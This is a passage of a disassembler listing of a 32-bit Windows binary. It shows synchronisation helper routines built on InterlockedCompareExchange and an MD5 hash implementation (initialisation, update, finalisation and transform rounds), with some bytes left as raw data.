		jnz	short loc_4334DE
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334DE:				; CODE XREF: ___:004334D8j
		cmp	eax, 3
		jnz	short loc_4334F1
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334F1:				; CODE XREF: ___:00433497j
					; ___:0043349Dj ...
		mov	eax, 16h


loc_4334F6:				; CODE XREF: ___:004334AFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433520:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_433561
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433561
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43353B


loc_433534:				; CODE XREF: ___:00433547j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43353B:				; CODE XREF: ___:00433532j
		push	2
		push	1
		push	esi
		call	dword_50E3BC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433534
		dec	eax
		jz	short loc_43355D
		dec	eax
		jnz	short loc_433561
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43355D:				; CODE XREF: ___:0043354Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433561:				; CODE XREF: ___:00433527j
					; ___:0043352Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433590:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_4335E0
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4335E0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4335B1
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_4335E5


loc_4335B1:				; CODE XREF: ___:004335A2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3BC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_4335DC
		dec	eax
		jz	short loc_4335D5
		dec	eax
		jnz	short loc_4335E0
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D5:				; CODE XREF: ___:004335C2j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335DC:				; CODE XREF: ___:004335BFj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335E0:				; CODE XREF: ___:00433597j
					; ___:0043359Dj ...
		mov	eax, 16h


loc_4335E5:				; CODE XREF: ___:004335AFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433610:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43363C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_433637
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433637:				; CODE XREF: ___:0043362Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43363C:				; CODE XREF: ___:00433622j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433650	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4336DC
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433674
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433674:				; CODE XREF: sub_433650+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43368D
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43368D:				; CODE XREF: sub_433650+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_43369D
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43369D:				; CODE XREF: sub_433650+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0D61EE890h, 0C0850238h, 0E8560E74h, 0FFFCE0E1h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_4336DC:				; CODE XREF: sub_433650+12j
		pop	esi
		retn
sub_433650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433710	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433735
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433735:				; CODE XREF: sub_433710+15j
		nop
		call	near ptr 27C0860h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_43375E
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43375E:				; CODE XREF: sub_433710+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_43377B
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43377B:				; CODE XREF: sub_433710+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4337B0	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_433840
		cmp	[ebx+0Ch], ebp
		jz	short loc_43381C
		cmp	[ebx+4], ebp
		jz	short loc_43381C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43381C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_43380F
		push	edi


loc_4337E3:				; CODE XREF: sub_4337B0+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43380A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_43380A:				; CODE XREF: sub_4337B0+3Ej
		cmp	esi, ebp
		jnz	short loc_4337E3
		pop	edi


loc_43380F:				; CODE XREF: sub_4337B0+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43381C:				; CODE XREF: sub_4337B0+13j
					; sub_4337B0+18j ...
		mov	eax, [ebx]
		push	eax
		call	near ptr 27C0000h
		nop
		cmp	[ebx+4], ebp
		jz	short loc_433836
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433836:				; CODE XREF: sub_4337B0+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_433840:				; CODE XREF: sub_4337B0+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_4337B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_433880	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E3A8
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_4338A4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4338B3
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338A4:				; CODE XREF: sub_433880+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_4338B3
		mov	eax, ebx


loc_4338B3:				; CODE XREF: sub_433880+1Aj
					; sub_433880+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433915
		test	eax, eax
		jz	short loc_433902
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_433902
		test	ebx, ebx
		jz	short loc_433902
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_4338ED


loc_4338D7:				; CODE XREF: sub_433880+65j
		cmp	[ecx+8], esi
		jz	short loc_4338E9
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_4338D7
		jmp	short loc_4338ED
; ---------------------------------------------------------------------------


loc_4338E9:				; CODE XREF: sub_433880+5Aj
		test	ecx, ecx
		jnz	short loc_433902


loc_4338ED:				; CODE XREF: sub_433880+55j
					; sub_433880+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433915


loc_433902:				; CODE XREF: sub_433880+3Cj
					; sub_433880+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 27E033Eh
		test	eax, eax
		jnz	short loc_433915
		mov	edi, 0Bh


loc_433915:				; CODE XREF: sub_433880+38j
					; sub_433880+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_433880	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_433950	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 28407DEh
		mov	esi, eax
		call	sub_436FFA
sub_433950	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0D27DE851h, 56900237h, 4FE8D88Bh
		dd 900237D4h, 36C4E857h, 8B5F0000h, 0C35B5EC3h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4339A0	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_4339A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4339E0	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_433A0B
		inc	dword ptr [esi+14h]


loc_433A0B:				; CODE XREF: sub_4339E0+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_433A69
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_4347E0
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433B50
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_433A65


loc_433A49:				; CODE XREF: sub_4339E0+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433B50
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_433A49


loc_433A65:				; CODE XREF: sub_4339E0+67j
		xor	eax, eax
		jmp	short loc_433A6B
; ---------------------------------------------------------------------------


loc_433A69:				; CODE XREF: sub_4339E0+41j
		xor	ebp, ebp


loc_433A6B:				; CODE XREF: sub_4339E0+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_4347E0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4339E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AC0	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_434700
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433AF3
		mov	ecx, 78h


loc_433AF3:				; CODE XREF: sub_433AC0+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; ""
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_434700
		push	58h
		push	0
		push	edi
		call	sub_434810
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433AC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433B50	proc near		; CODE XREF: sub_4339E0+58p
					; sub_4339E0+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_434770
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
